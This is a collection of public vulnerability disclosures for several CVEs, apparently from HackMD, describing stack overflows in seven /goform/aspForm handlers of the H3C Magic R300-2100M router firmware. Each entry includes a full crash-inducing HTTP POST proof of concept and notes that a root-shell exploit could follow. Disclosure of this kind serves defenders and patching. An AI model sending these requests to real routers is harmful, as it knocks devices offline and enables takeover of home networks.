H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos_lanip_editlist interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the ipqos\_lanip\_editlist interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos\_lanip\_editlist interface at /goform/aspForm. ## Vulnerability Details In function ipqos\_lanip\_editlist,the size of local variable v6 is noly 20 bytes long.Parameters in the ipqos\_lanip\_editlist interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/VC25Mi9.png) !\[\](https://i.imgur.com/Sk8HWLQ.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/LcuzKxN.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 CMD=ipqos\_lanip\_editlist&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33636: H3C Magic R300-2100M was discovered stack overflow via the ipqos_lanip_editlist interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the Edit_BasicSSID interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the Edit\_BasicSSID interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the Edit\_BasicSSID interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/Bk4CQusE3.png) In the Edit\_BasicSSID function, local variable v32 is 64 bytes long. !\[\](https://hackmd.io/\_uploads/HkxTRm\_s4h.png) V31 can be controlled by attacker, entered as parameter 'param'. In line 51, v31 is formatted into v32 by function sscanf as long as the size of the data we enter until ';' without filtering or checking length. So when the size of the data we enter before ';' is larger than 64 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/H1dtUui4h.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 602 CMD=Edit\_BasicSSID&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/H1Ni8dsV3.png) And you can write your own exp to get the root shell.

CVE-2023-33642: H3C Magic R300-2100M was discovered stack overflow via the Edit_BasicSSID interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the AddWlanMacList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the AddWlanMacList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the AddWlanMacList interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/ry9T-do4n.png) In the AddWlanMacList function, local variable v5 and v6 are both 32 bytes long. !\[\](https://hackmd.io/\_uploads/rkfRZui4n.png) V3 can be controlled by attacker, entered as parameter 'param'. In line 30, v3 is formatted into v5,v6 by function sscanf. So when the size of the data we enter between the first and second ';'(or the second and the third) is larger than 32 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/rJxnzOj4h.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 608 CMD=AddWlanMacList&param=1111;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/ryypGuiEn.png) And you can write your own exp to get the root shell.

CVE-2023-33643: H3C Magic R300-2100M was discovered stack overflow via the AddWlanMacList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/SJacutyr3.png) In the SetAPWifiorLedInfoById function, local variable v12 is 64 bytes long. !\[\](https://hackmd.io/\_uploads/rJSsOFkrn.png) V8 can be controlled by attacker, entered as parameter 'param'. In line 23, v8 is formatted into v12 by function sscanf as long as the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/rJekFFJH3.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 607 CMD=SetAPWifiorLedInfoById&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/S1yZtY1Sn.png) And you can write your own exp to get the root shell.

CVE-2023-33640: H3C Magic R300-2100M was discovered stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the SetMobileAPInfoById interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the SetMobileAPInfoById interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the SetMobileAPInfoById interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/B1pkdt1Hh.png) In the SetMobileAPInfoById function, local variable v18 is 64 bytes long. !\[\](https://hackmd.io/\_uploads/S1sVOKkr2.png) V10 can be controlled by attacker, entered as parameter 'param'. In line 28, v10 is formatted into v18 by function sscanf as long as the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/SJBIOK1Bn.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 607 CMD=SetMobileAPInfoById&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/Hkbw\_Y1S2.png) And you can write your own exp to get the root shell.

CVE-2023-33639: H3C Magic R300-2100M was discovered stack overflow via the SetMobileAPInfoById interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelDNSHnList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DelDNSHnList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelDNSHnList interface at /goform/aspForm. ## Vulnerability Details In function DelDNSHnList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelDNSHnList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/VgdfTpn.png) !\[\](https://i.imgur.com/EHF7EHg.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/bm7Thj7.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2026 CMD=DelDNSHnList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33637: H3C Magic R300-2100M was discovered stack overflow via the DelDNSHnList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/By9kedoN3.png) In the AddMacList function, local variable v19 is 36 bytes long. !\[\](https://hackmd.io/\_uploads/rJzneOsN3.png) V12 can be controlled by attacker, entered as parameter 'param'. In line 47, v12 is formatted into v19 by function sscanf as long as the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/HykDb\_sNn.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 534 CMD=AddMacList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/S1luWuj43.png) And you can write your own exp to get the root shell.

CVE-2023-33641: H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm.

